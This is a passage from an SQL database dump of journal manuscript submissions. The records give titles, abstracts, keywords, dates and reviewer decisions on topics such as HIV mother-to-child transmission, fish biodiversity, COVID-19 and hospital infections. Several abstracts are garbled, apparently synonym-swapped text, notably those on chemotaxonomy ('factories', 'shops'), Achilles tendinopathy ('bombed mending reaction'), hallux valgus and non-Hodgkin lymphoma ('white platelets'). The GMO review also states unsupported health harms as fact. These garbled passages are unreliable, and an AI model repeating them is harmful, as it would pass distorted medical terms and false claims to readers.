PMTCT interventions, utilization of the services is limited in Sub Saharan Africa including Ghana and this has resulted in high infection rates among children. The study therefore seeks to assess the factors that influence adherence to PMTCT in an urban setting and its effect on early infant diagnosis PCR results. Unforgiveness \r\nMethod: This study adopted a cross-sectional design with retrospective review of all existing folders of HIV positive pregnant women who registered with Tema General Hospital between 2012 and 2016. A total of 316 records of HIV pregnant women who utilize ART clinic were retrieved, however, 253 records of pregnant women were used for the study due to incomplete records of other pregnant women. Bivariate and multiple logistics regression analysis were conducted to test significant factors that influence adherence to PMTCT programme. Linear regression analysis was conducted to determine factors that influence EID PCR results of children born to the HIV positive pregnant mothers.\r\nResults: The mean age of the study participants is 30.4 and nearly half 124(49.0%) had only JHS education. About three-fourth (73.9%) are self-employed while majority (79.1%) are married. The proportion of PMTCT non-adherence among HIV pregnant women was 198(78.3%) while non-HIV serostatus disclosure was 52(20.6%). The PCR result for children born to the HIV positive mothers showed a positivity rate of 3.6%. Adherence to PMTCT programme was significantly influenced by disclosure of HIV serostatus to sexual partners (AOR: 6.1; CI: 1.7-22.4) and adequate knowledge about HIV and PMTCT (AOR-7.4; 3.5-9.7). The PCR HIV positivity result of EID was significantly associated with adherence to PMTCT (p = 0.004), disclosure of HIV status (p = 0.015) and receiving prophylaxis at birth (p = 0.000). \r\nConclusion: PMTCT adherence still remains a challenge among HIV pregnant women affecting the fundamentals of the mother-to-child prevention strategies. HIV and PMTCT education should be strengthened at ART clinics as well as integrating HIV education at focus antenatal care services. \r\nKey words: Prevention of Mother-to-child transmission, adherence, HIV positive pregnant mothers, HIV/AIDS. \r\n','',472,NULL,'2021-10-25',NULL,'Submitted',2,NULL,'2021-11-27',NULL,1,1,'1','Accepted the article',0,'','',NULL,0,0,0,NULL,0),(11279,11746,975,0,'ipjbs-21-11279','Note on Chemotaxonomy an its classifications',NULL,5,0,'','Chemotaxonomy, also called chemosystematics, is used to classify and identify organisms (substantially factories), according to distinguishable differences and parallels in their biochemical compositions. The composites studied in all cases are moreover primary metabolites or Secondary Metabolites (SM). Exemplifications of chemotaxonomic labels used in recent times are epitomized below. Chemotaxonomy contributes to the bracket of shops when query exists using classical botanical styles. Chemo-systematics can be regarded as a emulsion knowledge that complements available morphological and molecular data to ameliorate factory systematics and to grease pharmaceutical resource discovery.','Chemotaxonomy,botanical',4089,NULL,'2021-10-26',NULL,'Submitted',2,NULL,'2021-11-23',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(11280,11748,639,0,'ipfs-21-11280','FISH BIODIVERSITY IN RELATION TO WATER QUALITY IN RIVER BENUE VALLEY ADAMAWA STATE, NORTH-EASTERN NIGERIA',NULL,5,0,'','Thirty-seven (37) species belonging to fifteen (15) families were identified during twelve months period of study (2020/21), on river Benue valley. Fish biodiversity and abundance showed a significance increase with increasing fishing efforts. The highest catch per unit effort was observed in Gongola/Benue confluents in Numan and kocheyel with more than 80.89kg/day and 78.29 kg/day with a cumulative fish weight of more than 432347.8kg per annum and 341931kg respectively. The lowest catch per unit efforts was observed in Parda and Gwakra with 24.97kg/day and 29.59 kg/day and a cumulative fish weight of 114321.5kg and 122008.2kg per annum respectively. Fishing gears used during the study indicates frequent use of gill/cast nets with 45% rate and traps at 43% rate, and other gears like hooks and line showed the lowest catch at 12%. The percentage composition of boats/canoes used during fishing was highest in Wurobokki at 25% and lowest in Parda with 13% rate. The highest number of fish species was observed in the family Claridae with five different spp and a cumulative number of 13119 fish followed by family Mormyridae with five spp with a cumulative number of 12075 fish and then followed by family, Cichlidae with four spp and a cumulative fish amounting to 12015. The lowest fish spp observed was Distichodoidae, Arapaimidae and Malapteruridae. Therefore, the most dominant fish amongst the family family were Claridae and Mormyridae and the near extinction fish family was Channidae. The dominant fish amongst the species were Alestes boremose followed by Schilbe intermedius, hydrocynus and Oreochromis. The decreasing number of fish species observed amongst the family Channidae was an indication that the river was under fishing pressure. Meanwhile, the mean physic-chemical parameters in the study areas revealed a normal water quality parameters throughout the year, except for the conductivity and total dissolved solid whose levels were high during raining season and low in the dry season. Results of the fish abundance indicates positive correlation with the water quality in all the stations studied. Hence, there were fish abundance and a sustainable livelihood amongst the fishermen.','Abundance, biodiversity, species, family, catch, drag nets.',1774,NULL,'2021-10-26',NULL,'Submitted',2,NULL,'2022-08-09',NULL,1,1,'1','      ',0,'','',NULL,0,0,0,NULL,0),(11281,11747,975,0,'ipjbs-21-11281','Adverse effects of the absorption of plant sterols.',NULL,3,0,'','Men traditionally have higher dietary cholesterol intakes than women. Although there has been a steady decline in dietary cholesterol intakes over the past several decades, the recent focus on low-carbohydrate diets has shifted dieters to diets that remain high in sources of dietary cholesterol and saturated fats. Although studies of low-carbohydrate diets do not show worsening of LDL-C even at 1 year , the concern is that higher cholesterol intakes still place patients at long-term CHD risk. Four cohort studies reported on by Stamler and Shekelk noted an association between dietary cholesterol and risk for CHD independent of the serum cholesterol level. Although food frequency records in men and women followed prospec-tively indicated that one egg per day did not increase CHD risk, this was not true for diabetic men and women in these cohorts. For those with hypercholesterokmia, ATP III rec-ommends that less than 200 mg/d of dietary cholesterol should be consumed to maximize the amount of LDL-C lowering that can be achieved through reduction in dietary cholesterol','hypercholesterokmia,',4089,NULL,'2021-10-26',NULL,'Submitted',2,NULL,'2021-11-23',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(11283,11749,975,0,'ipjbs-21-11283','Is heterogeneity in the nature of the mutation?',NULL,5,0,'','Autosomal recessive Autosomal recessive phenotypes are expressed by those homozygous for the disease allele. As a result, there are heterozygous carriers, who are phenotypically normal. The offspring of two carriers of a recessive trait have a 25% chance of developing the disease phenotype, through being homozygous for the recessive allele. Similarly, 25% are likely to be homozygous for the wild- type allele and 50% will become heterozygous carriers. When one parent has an autosomal recessive disorder, all children are likely to heterozygous carriers they will all inherit one disease allele. In cases where the other parent is also a carrier for the same disease, pseudodominance will occur 50% of the children will be homozygous for the mutation and the other 50% will he heterozygous carriers. Often, recessive diseases result from mutations in genes, leading to a loss of function of the encoded protein','pseudodominance',4089,NULL,'2021-10-26',NULL,'Submitted',2,NULL,'2021-11-23',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(11294,11758,251,0,'ipacm-21-11294','Clinical Implications of thrombotic microvascular angiopathy (TMA) in severe and critical COVID 19 patients',NULL,5,0,'','Severe acute respiratory syndrome coronavirus has a great role in causing respiratory illness in humans and has the most important relationship of its spike proteins with host ACE-2 receptors. After entry into the human body, the viral S protein receptor-binding domain binds to the human ACE-2 receptor.  Spike protein is split from the cleavage site along with its two subunits S1 and S2 then during this process. S2 subunit releases RBD (Receptor- Binding Domain) of S1 mediated to the ACE-2. The RBD of S1 consists of 200 amino acid domains. The sample size was 350 patients between ages 48 years+_2 years. Out of these patients that were screened, 141 were classified as a severe and critical stage of the disease and hence serve as subject to this focused study. The effects of this virus on platelets are rather erratic and unusual with a slight decrease in the number of platelets. The raised number of d-dimers in the blood of patients has been observed resulting in an elevated level of LDH.','Coronavirus, thrombotic microvascular angiopathy, Nested case-control, endothelial damage.',3946,NULL,'2021-10-26',NULL,'Submitted',2,NULL,'2022-07-29',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(11297,11761,85,0,'iphspr-21-11297','Arrange rooms for residents’ health at senior homes',NULL,17,0,'','A recent study in China investigated the influences of room arrangement on residents’ social cohesion. Triple-rooms (room shared by three) are suggested for assisted-living care, whereas private rooms are considered more appropriate for nursing care. The influences of room arrangement on health in senior homes may be complicated, especially during the difficulty time of pandemic. From the perspective of health, social work, environmental psychology and sociology, more policing, research and practical projects should be launched in the context of both Western and Eastern cultures, during and after a pandemic.','room arrangement, senior living, health, cultures, pandemic.',3282,NULL,'2021-10-27',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted the article ',0,'','',NULL,0,0,0,NULL,0),(11307,11767,45,0,'iphsj-21-11307','Compliance with standard precautions among nurses in Saudi hospitals',NULL,14,0,'','Introduction: Healthcare practitioners face the risk of not only spreading infections from patient to patient, but also to themselves if they do not follow standard precautions (SPs) for infection control. Despite the seriousness of doing so, past research has indicated SP compliance is poor. \r\nPurpose: This study sought to examine current SP compliance rates across multiple hospital times in the Tabouk region of Saudi Arabia. \r\nMethod: In order to achieve this, a sample of n=354 nurses were recruited to take part in a descriptive cross sectional study in which their rate of compliance with SP protocols could be assessed. \r\nResults: The findings from this study indicated that overall compliance was sub-optimal and below clinical expectations. This was particularly the case with regards to hand washing, sharps management, and re-use of single-use Personal Protective Equipment. When examining participant characteristics in relation to the SP compliance, a series of significant differences were found across departmental settings, with surgical ward staff being the least likely to comply with SPs (p<.001). Perhaps the most surprising findings however are reserved for the examination of the impact of having received infection control training in the past. There was evidence to suggest that across a number of SP items, those who had received training complied less with SPs than would be expected (p<.001). \r\nConclusion: This was a stark finding and calls for additional work to be done in the field of training and support for infection control. \r\n\r\n','Keywords: compliance, standard precautions, nurses, Saudi hospitals',456,NULL,'2021-10-27',NULL,'Submitted',2,NULL,'2021-11-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11311,11773,45,0,'iphsj-21-11311','GMO and Human Health: a Review',NULL,15,0,'','Technology is a gift to life. Its advances continue to develop very rapidly (Asy ari & Rahman, 2020), that emphasizes the advances of new ideas and innovations that could even more enhance and improve current processes (Mikulic & Stefanic, 2018).  Genetic engineering is one of the remarkable advancement which revolutionized the present community. Genetic engineering in agriculture sector resolved the problem of feeding the ever-increasing population to a certain bit. Using genetic engineering different varieties of plants have been developed that possess better agronomic characteristics (Singh et al, 2020), and crop improvement (Arora and Narula, 2017). This study used paper review to succinctly evaluate the adverse effect of Genetically Engineered Organisms (GMOs) for human consumption as well as its mechanism to lower forms of life.  Published studies from 2016 to 2020 were gathered from reputed journals trough the Google Scholar and PubMed. Currently, based on the review of the recent studies; Genetically Engineered crops is not natural that can cause unusual disturbance to human micro biome that can lead to health problems directly or indirectly.\r\n	Moreover, the intensive modern agriculture based on GMO technology has unwanted impact to the different organism to the biodiversity.\r\n \r\n','',5154,NULL,'2021-10-28',NULL,'Submitted',2,NULL,'2021-11-18',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11313,3488,277,0,'ipadm-21-11313','Acute coronary syndromes following COVID-19 vaccine application: Kounis syndrome or chance?',NULL,5,0,'','Arguably, the management of the COVID-19 pandemic from all disciplines of the biomedical sciences has been the greatest challenge to date in the 21st century. The constant work by the basic sciences to create immuno-virological prototypes, the approach and support of the clinical sciences to reduce the number of complications and deaths, the strategies of primary care groups to prevent contagion and alteration of daily life activities, and the behavior of the general population, have been the determining factors in the course of the pandemic. One of the biggest challenges at present is the acceptance and tolerance of prototype vaccines against this disease, due to mistrust and misinformation, despite the solid evidence of the safety and efficacy of the available vaccines. Phase III clinical trials have shown that the most commonly used prototypes have a minimum efficacy of 80% (p < 0.0001) and that the frequency of adverse events of the intervention groups vs. the placebo group does not show significant differences, with few fatalities or grade 4 adverse events. Post-vaccine allergic reactions correspond to less than 0.1%. The Jhons Hopkins COVID-19 data center states that as of September 8, 2021, 5,530,976,259 doses have been administered and, to date, a non-systematic search in PubMed with the keywords \"SARS-CoV-2 vaccine\" and \"Allergic Reactions,\" plus synonyms, finds less than 200 results for this type of event globally','COVID-19, Vaccine, Acute coronary syndromes , Kounis syndrome',2805,NULL,'2021-10-28',NULL,'Submitted',2,NULL,'2021-11-15',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11320,11780,86,0,'ipaom-21-11320','Knowledge and Precautionary Measures of Healthcare Associated Infection among Patients in UNIOSUN Teaching Hospital, Osogbo. ',NULL,14,2,'','Healthcare associated infections (HCAI) are infections acquired from a healthcare facility while receiving health care. They emerge after two days or more after hospital admission or within 30 days after discharge following in patient care. HCAI is a global health issue, the World Health Organization stated that about 1.4 million people suffering from HCAIs. There are need to educate and make people have the knowledge of the types of infections that they can actually contact and the mode of preventions is necessary. As well to assess the knowledge and precautionary measures of health care associated infection among patients.\r\n\r\nA cross-sectional survey was used for this study. The targeted population was patient at Uniosun teaching hospital. A self-developed questionnaire was administered to patients in the facility and the total sample size of 400 was used for this study.\r\n\r\nIt can be deduced from the study that majority of the respondents with a percentage of 80.3% have been admitted into hospital ward before and the remaining 19.8% are being admitted on first time basis. About 17.5%  knows what health care associated infections are,  and only 25.0% of the respondents indicated they could get an infection from the hospital, 52.0% of the respondent does not know HCAIs is preventable, 47.0% of the respondents know how to prevent HCAI. Respondents number of 85.0% believed that hand hygiene and surveillance programs are important precautions against HCAI and should be practiced. Patients generally in UTH Osogbo have little or no knowledge about the HCAI and this is low knowledge has made some contacted infections of different types during their stay in the facility.\r\n\r\nHealthcare associated infections (HCAI) have been seen to be infections caused through visitations to healthcare facilities. Despite the severe impact of these infections this research has showed little knowledge about this infection by patients due to low and almost no education by healthcare providers. Factors affecting the knowledge on HCAIs low, health care officers have failed to educate patients (respondents) on what HCAIs is despite over 80% believing it’s important to be educated by healthcare officers. Proper health education and awareness should be carried out to enlighten patients on what health care associated infections is about. This can be done through seminars, workshops, and various awareness drives. Hospitals should be mandated to put up information materials on HCAIs across various hospitals so that patients would be educated at each point in time in their visit to the hospital.\r\n','Healthcare, Infection, Precautionary, Knowledge, Hospital, Education.',1639,NULL,'2021-10-28',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'0','Send for revision',0,'','',NULL,0,0,0,NULL,0),(11323,10931,251,0,'ipacm-21-11323','Invitro activity of RD-3 and other Antimicrobial Agents against Ureaplasma isolates ',NULL,17,0,'','We tested the susceptibility of RD-3 and other antimicrobial agents against clinical isolates of Ureaplasma urealyticum.  RD-3 showed potent activity than other drugs with an MIC90 of 0.032mg/L.  RD-3 was highly active against resistant isolates of Ureaplasma urealyticum.','Ureaplasma urealyticum,  MICs, Antimicrobial Agents',5155,NULL,'2021-10-28',NULL,'Submitted',4,NULL,'2022-08-03',NULL,1,1,'0','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(11327,11687,326,0,'IPJUS-21-11327','Achilles Tendinopathy - Clinical Treatments',NULL,5,0,'','Achilles tendinopathy is one of the most regularly lower leg and foot abuse wounds, which is a clinical condition portrayed by the mix of agony, expanding, and impeded execution. The two fundamental classifications of Achilles tendinopathy are ordered by physical area and comprehensively incorporate insertional and noninsertional tendinopathy. The etiology of Achilles tendinopathy is multifactorial including both characteristic and outward factors. Bombed mending reaction and degenerative changes were found in the ligament. The bombed recuperating reaction incorporates three unique and nonstop stages (responsive tendinopathy, ligament decay, and degenerative tendinopathy). The histological investigations have exhibited an expanded number of tenocytes and centralization of glycosaminoglycans in the ground substance, confusion and discontinuity of the collagen, and neovascularization. There are variable moderate and careful treatment choices for Achilles tendinopathy.','Achilles tendinopathy, Wounds, Glycosaminoglycans',3103,NULL,'2021-10-29',NULL,'Submitted',1,NULL,'2022-06-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11328,11687,326,0,'IPJUS-21-11328','Treatment of hallux valgus disfigurement',NULL,5,0,'','The term hallux valgus was first referenced via Carl Hueter in 1870. The hallux valgus complex is described as a consolidated disfigurement with a malpositioning in the first metatarsophalangeal (MTP) joint with sidelong deviation of the extraordinary toe and average deviation of the primary metatarsal bone. It is the most normal pathology of the large toe. Coughlin announced in an imminent report with 103 patients a two-sided disfigurement in 84% of the cases. While there is conflict in regards to the period of beginning of hallux valgus, a female inclination is for the most part recognized. By and large hallux valgus has a multi-factorial beginning: hereditary inclination, occupation, kind of footwear and pes planus have been recognized as inclining reasons for hallux valgus with little if any strong supporting proof.','Hallux valgus, Metatarsophalangeal, Joint',2505,NULL,'2021-10-29',NULL,'Submitted',4,NULL,'2022-06-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11337,11792,85,0,'iphspr-21-11337','Hydroxychloroquine in COVID -19 diseases: What points of controversy? A mini-review',NULL,25,0,'','Hydroxychloroquine (HCQ) is an analogue of chloroquine, with fewer side effects. This antimalarial was proposed in the early phase of the COVID -19 pandemic as a potential treatment.HCQ  is an old drug used for several chronic diseases such as systemic lupus replication in a concentration-dependent manner.   It has been confirmed that HCQ effectively inhibits the entry step and the post-entry stages of SARS-CoV-2. It also suggested that HCQ blocked the transport of SARS-CoV-2 from endosomes to endolysosomes, which is essential to release the viral genome as in the case of SARS-CoV-2. But its prescription in COVID -19 disease garnered exceptional interest. For that, many studies were carried all over the world to assess its efficiency compared to standard care . The current paper is a quick view of the main discussion corners about HCQ in COVID -19 disease.\r\nResults of in vitro researches stimulate retrospective and observational studies. Findings concerning the efficiency were inconsistent between these studies, which require clinical trials. A lot of randomized controlled trials were conducted then, but conclusions were the opposite.  The optimal dose regimens and the need for  HCQ monitoring also constitute a point of discord between these studies.\r\n\r\n','Keywords:  Hydroxychloroquine; COVID-19, efficiency; in vitro study; retrospective study; clinical trials. ',3413,NULL,'2021-10-29',NULL,'Submitted',2,NULL,'2021-11-27',NULL,1,1,'1','Accepted the publication',0,'','',NULL,0,0,0,NULL,0),(11354,11768,45,0,'iphsj-21-11354','Spread of nosocomial infections: A systematized review on nurses’ perceptions, attitudes and practices',NULL,15,0,'','Background\r\nNosocomial infections are a significant problem in global healthcare setting. Nurses have an important\r\nrole in transmitting, and preventing nosocomial infections.\r\nObjective\r\nThis review investigated nurses’ knowledge, practices attitudes about nosocomial infections. It aimed\r\nto unfold differences between nurses in terms of working in general settings and intensive care unit\r\n(ICU), working as a beginner and as experienced, and the extent of impact of the organizational\r\nsupport offered to nurses on their knowledge, attitudes and practices. .\r\nMethods\r\nTo achieve the objective of the study, a review of the published literature was undertaken, utilizing\r\nfour electronic databases. Nine studies out of eighteen were included based on the author\'s criteria of\r\nselection, which were published 2012-2017\r\nFindings\r\nVariability was found in nurses’ knowledge, attitudes and practices in relation to nosocomial\r\ninfections. This variability persists in nurses working in different settings. The findings revealed a\r\npositive significant correlation between nurses’ practice experience, and their knowledge, attitudes\r\nand practices and between nurses’ knowledge, attitudes and practices and organisational support.\r\nConclusion\r\nThe review has contributed to identifying how nurses’ knowledge, attitudes and practice can be\r\nimproved to enable them to contribute more effectively to nosocomial infection prevention.','Keywords: nurses, perceptions, attitudes, practices, nosocomial infections',456,NULL,'2021-11-01',NULL,'Submitted',2,NULL,'2021-11-18',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11390,11827,996,0,'ipar-21-11390','A Commentary on Non-Radiographic Axial Spondyloarthritis',NULL,5,0,'','','',3649,NULL,'2021-11-02',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11391,11828,996,0,'ipar-21-11391','Cardiovascular Risk in Rheumatoid Arthritis',NULL,5,0,'','','',3649,NULL,'2021-11-02',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11392,11829,996,0,'ipar-21-11392','Disorders of immune-mediated therapies',NULL,5,0,'','','',3649,NULL,'2021-11-02',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11393,11830,996,0,'ipar-21-11393','Editorial Note on Chronic Knee Pain Acupuncture',NULL,5,0,'','','',3649,NULL,'2021-11-02',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11394,11831,996,0,'ipar-21-11394','Outbreak of Rheumatic Diseases in the COVID-19 Pandemic',NULL,5,0,'','','',3649,NULL,'2021-11-02',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11403,11835,971,0,'ipaclr-21-11403','Association of Liver function tests, lipid profile and glycemic status in a cohort of patients with Type 2 diabetes mellitus in Sri Lanka.',NULL,14,0,'','Introduction\r\nType 2 Diabetes Mellitus (T2DM) is an endocrine disorder characterized by hyperglycaemia resulting from variable degrees of insulin resistance and deficiency. Chronic hyperglycemia can lead to multi-organ damage and disturbances in carbohydrate, lipid, protein metabolism(1). Patients with T2DM have a high prevalence of abnormal liver enzymes (2). Insulin resistance of T2DM patients is responsible for lipid abnormalities(5).With no published research locally, this study was conducted to determine the association of liver fuction tests (LFT), lipid profile(LP) and glycemic status in a cohort of patients with T2DM.\r\n\r\nObjectives\r\n1.	To determine the association between glycated haemoglobin (HbA1c) with LP[total cholesterol (T CHO), triglyceride (TG), low dentistry lipoprotein (LDL -C), very low density lipoprotein (VLDL- C)]  and LFT [Alanine transaminase (ALT), Aspartate transaminase (AST), Alkaline Phosphotase (ALP),total bilirubin (TBil)] in T2DM patients.\r\n2.	To determine the association between LFT and LP in T2DM patients.\r\n3.	To compare LP, LFTamong T2DM controlled and poorly controlled patients.\r\n4.	To compare LP, LFT among male and female diabetes groups.\r\n\r\nMethodology\r\nA retrospective analytical study done at the department of Haematology of the Sri Jayewardenepura General Hospital, Sri Lanka using patients, both males and females diagnosed with T2DM in the age group 30 years and above. A simple random sampling technique was employed and data of 201 patients from the Laboratory Information System (LIS) and patients’ records from June 2019 to June 2020 were recorded. A data extraction sheet used to enter the data. Statistical analysis was done using (SPSS) version 20. Descriptive statistical methods were used to calculate the median, mean and the ± standard deviation, of age and other relevant data. Pearson’s Correlation method used to study the correlation between variables.\r\nResults\r\nIn the total of  201 patients (136 females, 65 males) age range 31 to 83, the LFTs and lipid profile were high. TBil was within normal range.  In the controlled group (HbA1c <7), serum ALP and TG remained within the normal range and serum LDL-C was high. In the poorly controlled group (HbA1c >7) liver enzymes and lipid profile were high. LFTs and LP of both groups were compared with an independent sample t-test which revealed a significant positive correlation for ALP(p= 0.000), TG (p=0.026) and VLDL-C(p=0.026) and a negative correlation for T.Bil (p= 0.020). HbA1c of  both diabetes groups were statistically significant ( p value 0.000). Pearson’s correlation between HbA1c with liver enzymes and lipid parameters of the total population revealed a positive correlation between HbA1C and and VLDL-C. T.Bil and HbA1c revealed a negative correlation . A statistically significant predominance in males observed for serum ALT and T.Bil with serum ALP, HDL-C higher in females.\r\nConclusion \r\nPositive correlation between HbA1c with ALP, TG and VLDL -C indicates progression of disease and increased probability of cardiovascular complications respectively.  In contrast the negative correlation between total HbA1c and T.Bil indicates good control and may be useful in monitoring patients.\r\n','liver function tests, HbA1c, T2DM, lipid profile, serum bilirubin, Alkaline phosphatase',3236,NULL,'2021-11-03',NULL,'Submitted',2,NULL,'2021-12-31',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11432,11856,45,0,'iphsj-21-11432','Managing Violent Situations in the Health Care Environment with the aid of simulation',NULL,14,0,'','Title Managing Violent Situations in the Health Care Environment with the aid of simulation. Background Experience of workplace violence is pervasive in health and social care settings and there is an urgent need for target-group-specific preventative measures. This study investigated the impact of a unique, specifically tailored training programme for de-escalation and prevention of violence in healthcare settings. Through a simulation training for healthcare professionals, aiming at preventing patient and visitor violence, the simulated or standardized patients were shown to play an increasingly important role. Either professional or amateur performers, and sometimes \" real \" patients, called expert patients, were acting in the simulation. The realism they contribute to the training simulation is an undisputable enhancement of this teaching tool. The main aim of this study was to describe and evaluate the impact of a simulation course on the confidence of health care providers in their management of violent situations and verify if the simulation could provide individual safety space for education. This research was connected with project of Technology Agency of the Czech Republic (Personal educational environment for university students of medical disciplines, project number: TL03000205). Methods and Findings Our course was designed as a practical 6-hour training and was divided into three parts: (1) training of non-verbal communication and de-escalation; (2) training of the safe restraint of a very restless/violent patient using bed restraints; and (3) training of coping strategies in several simulation scenes tailored to the needs, abilities and background of the participants. All course participants answered two questionnaires. The first focused on the extent and frequency of their experience of violence in the past year; and the second focused on their personal experiences and perceptions, utilizing a scale of self-confidence during contact with a violent patient. In our study 80 % of participant’s experienced verbal violence and 20 % of participants experienced both verbal and physical violence in the year preceding the course. The attacker was most often a patient or a patient’s relative, the assaults took place more often during night shifts rather than day shifts. The attendees achieved a most significant progress in the areas of physical intervention during the contact with a violent patient and in their perceived self-confidence in the presence of a violent patient. Conclusions This course proved to be beneficial to the participating healthcare providers, in particular regarding their confidence in managing violent situations and in preparing them better for practice. This course also verified that the simulation is very good part of individual education space for students.','violence – simulation – prevention – course – communication',643,NULL,'2021-11-04',NULL,'Submitted',2,NULL,'2021-12-08',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11439,9456,86,0,'ipaom-21-11439','Short Note on Chronic Thromboembolic Pulmonary Hypertension',NULL,5,0,'','The pulmonary circulation is a low-pressure, high-flow circuit that is well-suited to efficient gas exchange. Pathological events in the pulmonary circulation can severely disrupt ventilation–perfusion matching, resulting in increased dead space, or raise pulmonary vascular resistance, exerting additional strain on the right ventricle, eventually leading to right heart failure.','pulmonary circulation',3411,NULL,'2021-11-05',NULL,'Submitted',2,NULL,'2021-11-26',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11440,11862,639,0,'ipfs-22-11440','Interactions between cetaceans and small-scale fisheries around the central Mediterranean Maltese Islands',NULL,10,0,'','Cetacean depredation poses threats to both the socio‐economic viability of fisheries as well as species conservation. This study is based in the Maltese Islands where the fishing sector has always been one of a small-scale nature with 93% of the vessels being under 12 metres in length. Maltese fishers engage in small-scale fishing utilizing a variety of artisanal fishing gear including surface longlines, which are mainly used to target swordfish and tuna and bottom-longlines; trammel nets and entangling nets which are used to target groupers, various species of bream, red snappers and red porgies; and pots and traps which are generally used to captured octopus and bogue. This study, which aimed to analyse fishers’ perception with respect to interaction occurrence between small-scale fisheries and cetaceans in Maltese waters, found that fishers claim that dolphin presence has increased in the past five years, particularly in the vicinity of bluefin tuna, seabream and seabass fish farms locations. While the use of trammel nets remains by far the most popular gear type employed by Maltese fishers, this study showed that around 33% of the fishing gear deployed in the past year suffered damages which account to an average of €178.33 in damages per fisher, annually. It is therefore essential that proper monitoring is carried out in order to assess the factors that drive the interactions and the impact of dolphin depredation on the fishing sector. New prevention and mitigation measures are proposed in order to try and reduce the risk of depredation by cetaceans in Maltese waters. This study provided first-hand insights which will aid in the execution of local fisheries management plans and subsequently, ecosystem-based fisheries management.','cetaceans, small-scale fisheries, common bottlenose dolphin, depredation, Maltese Islands',1778,NULL,'2021-11-05',NULL,'Submitted',4,NULL,'2022-06-29',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(11443,11865,971,0,'ipaclr-21-11443','semen parameters, including WHO strict criteria in a particular region',NULL,7,0,'','Male factor had been evaluated as responsible for approximately half of all infertility cases.In response to a growing need for the standardization of procedures for the examination of human semen; the WHO laboratory manual for the examination of human semen was first published in 1980.We collected our data by performing our semen examination according to Kruger’s criteria within WHO laboratory manual (2010). Initial semen analysis of a population admittted to urology clinic with infertility was done and the controversy over the significance of a cutoff value defining fertile from nonfertile men with knowledge of the clinical history. We assessed our patient about clinical history including varicocele, idiopathic infertility, recurrent miscarriages, ICSI failures cycles.A retrospective chart review from a retrospectively collected database at the Markasi Hospital Laboratory. Samples were reviewed over a 3-year period between September  2017  and September  2020. All semen samples were reviewed and only included morphology readings under both the WHO4 and WHO5 methods.We used spearman correlation test to analyze the relationship between age and the motility (Table 1) and Mann-whitney U test for analyzing relationship between age and other parameters (Table 2) . Mann-Whitney Test showed also that the citizenship (codified as “Turkish/ Syrian”) influences some parameters: pH, vitality, number of spermatozoa, sperm concentration, with worse results for the Syrian group. There is no statistically significant relation between the age and motility, there is no positive effect of young age was found on motility (Table 1). Moreover, no statistically significant relation was present with other parameters such as sperm concentration, presence of leucocytes in semen, lasted liquefaction time, morphology defects, vitality and regeneration capacity (Table 2).','',3249,NULL,'2021-11-05',NULL,'Submitted',2,NULL,'2021-12-31',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11447,11869,959,0,'ipacr-21-11447','The Survival Of Patients With triple Negative Breast Cancer With Chemotherapy Along With Lifestyle Change Interventions In Survivors',NULL,14,2,'','Background: The present study was conducted to examine the survival of patients with triple negative breast cancer subtype undergoing current chemotherapy and along with implanting weight management, physical activity and diet in breast cancer survivorship. Patients and Methods: The present study was conducted on 110 patients admitted to the oncology clinics of Talaghani Hospital of Kermanshah University of Medical science between October 2009 and July 2018. Patients started 5 chemotherapy cycles, including docetaxel, epirubicin and cyclophosphamide once every 21 days, and then two cycles of epirubicin and cyclophosphamide, ending with fluorouracil. Also recommend patients for physical exercise, diet and lifestyle change. Results: The median and mean follow-up was 52.3 and 45.6 months respectively. 8 patients were metastatic and 103 were under adjuvant therapy, 13 of whom had relapses. Median relapse-free survival and mean overall survival were 44.4 months and 49.2 months, in respective order. Of the total of 110 patients, 20 died and 90 still live. Conclusion: Along with recommendations for physical exercise, diet and lifestyle change, combination chemotherapy increases hopes for a better response to treatment and a reduction in the rate of relapse during the first three years.','Triple negative breast cancer, Current chemotherapy, Physical exercise, Diet and lifestyle change',3142,NULL,'2021-11-05',NULL,'Submitted',19,NULL,'2021-11-09',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(11450,11873,959,0,'ipacr-21-11450','Overview of non-Hodgkin lymphoma',NULL,17,0,'','Malignant growth begins when cells start to outgrow control. Cells in almost any piece of the body can become malignant growth, and can spread to different regions. Non-Hodgkin lymphoma (otherwise called non-Hodgkin\'s lymphoma, NHL, or some of the time just lymphoma) is a disease that beginnings in white platelets called lymphocytes, which are essential for the body\'s insusceptible framework.','Hodgkin lymphoma, lymphocytes, Spleen,Lymph hubs',3162,NULL,'2021-11-06',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted for 